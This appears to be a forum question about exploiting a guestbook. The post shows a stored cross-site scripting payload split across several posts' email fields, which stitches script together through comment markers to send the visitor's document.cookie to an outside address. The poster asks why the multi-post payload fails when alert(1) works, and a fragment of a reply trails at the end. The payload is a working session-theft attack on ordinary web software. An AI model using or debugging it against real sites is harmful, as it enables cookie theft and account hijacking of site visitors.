<a href='mailto:</a><script>/*'></a><script>/*</a>:
<br>
<hr>
<a href='mailto:*/location.href=/*'>*/location.href=/*</a>:
<br>
<hr>
<a href='mailto:*/"http://127.0.0.1/"/*'>*/"http://127.0.0.1/"/*</a>:
<br>
<hr>
<a href='mailto:*/+document.cookie;/*'>*/+document.cookie;/*</a>:
<br>
<hr>
<a href='mailto:*/</script><a>'>*/</script><a></a>
I'm injecting into a guestbook setup where the XSS is injected by changing the email address. The email max length is short enough where I have to spread across multiple posts. When testing, I'm able to execute alert(1); but when I have to spread a more complicated expression over multiple lines, things break. What am I missing?
>
and'
in the first line.